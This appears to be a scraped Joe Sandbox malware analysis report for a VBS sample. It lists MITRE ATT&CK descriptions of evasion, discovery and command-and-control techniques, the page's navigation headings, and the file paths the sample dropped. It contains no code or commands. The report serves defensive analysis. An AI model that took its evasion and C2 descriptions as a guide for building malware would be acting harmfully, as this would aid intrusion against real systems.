Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 676556be12ac3.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\Public\676556be12aca.vbs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\jfwdec[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\list_files[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\list_files[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ykgnts[1].txt

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01eqxpfd.1tf.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1qkzahmb.432.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5zjo3tce.q2p.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tk5vspgg.rdf.psm1

C:\Users\user\AppData\Local\Temp\jfwdec.js

C:\Users\user\AppData\Local\Temp\ykgnts.js

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Windows Analysis Report
676556be12ac3.vbs